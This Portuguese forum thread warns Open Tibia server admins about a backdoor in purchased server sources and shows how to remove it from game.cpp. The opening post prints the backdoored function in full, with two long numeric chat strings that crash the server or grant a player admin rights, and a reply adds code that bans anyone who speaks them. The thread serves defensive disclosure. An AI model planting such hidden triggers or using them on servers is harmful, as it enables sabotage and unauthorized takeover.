Prometheus X 58 Postado Dezembro 15, 2016 Share Postado Dezembro 15, 2016 Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo. Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Créditos Prometheus X (Por Trazer ao Xtibia) Alexy Brocanello (Pelo Código) CipSoft (Pelo Código Original) Qualquer outro será creditado ! Atenciosamente Prometheus X Otpokemonmystic reagiu a isso 1 Link para o comentário Compartilhar em outros sites More sharing options...
kaleudd 200 Postado Dezembro 15, 2016 Share Postado Dezembro 15, 2016 1 hora atrás, Prometheus X disse: Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo. Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/){ Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/){ Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Créditos Prometheus X (Por Trazer ao Xtibia) Alexy Brocanello (Pelo Código) CipSoft (Pelo Código Original) Qualquer outro será creditado ! Atenciosamente Prometheus X muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw Link para o comentário Compartilhar em outros sites More sharing options...
Prometheus X 58 Postado Dezembro 16, 2016 Autor Share Postado Dezembro 16, 2016 55 minutos atrás, kaleudd disse: muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw Nada Link para o comentário Compartilhar em outros sites More sharing options...
nociam 90 Postado Dezembro 16, 2016 Share Postado Dezembro 16, 2016 kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros ele tomaria um ban ai eu queria ver kkkkkk. Link para o comentário Compartilhar em outros sites More sharing options...
Prometheus X 58 Postado Dezembro 16, 2016 Autor Share Postado Dezembro 16, 2016 54 minutos atrás, nociam disse: kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros ele tomaria um ban ai eu queria ver kkkkkk. O Cargo é Setado Antes do banimento então o cara iria ficar impune, haha. Link para o comentário Compartilhar em outros sites More sharing options...
Drakopoulos 219 Postado Dezembro 16, 2016 Share Postado Dezembro 16, 2016 1 hora atrás, nociam disse: kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros ele tomaria um ban ai eu queria ver kkkkkk. Tbm pensei nisso ahusdhuahusdaus pra fazer isso só trocar exit(0); e player->setGroup(Groups::getInstance()->getGroup(6)); por Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true); if(IOBan::getInstance()->addAccountBanishment(tmp.number, -1, 13, ACTION_DELETION, "Sending shutdown code deprecated.", 0, player->getGUID())) { IOLoginData::getInstance()->saveAccount(tmp); player->sendTextMessage(MSG_INFO_DESCR, "You have been banished."); addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN); Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind( &Game::kickPlayer, this, player->getID(), false))); } Que ao executar o código ele toma o ban. Link para o comentário Compartilhar em outros sites More sharing options...
kaleudd 200 Postado Dezembro 16, 2016 Share Postado Dezembro 16, 2016 mais qual seria o codigo? Link para o comentário Compartilhar em outros sites More sharing options...
Posts Recomendados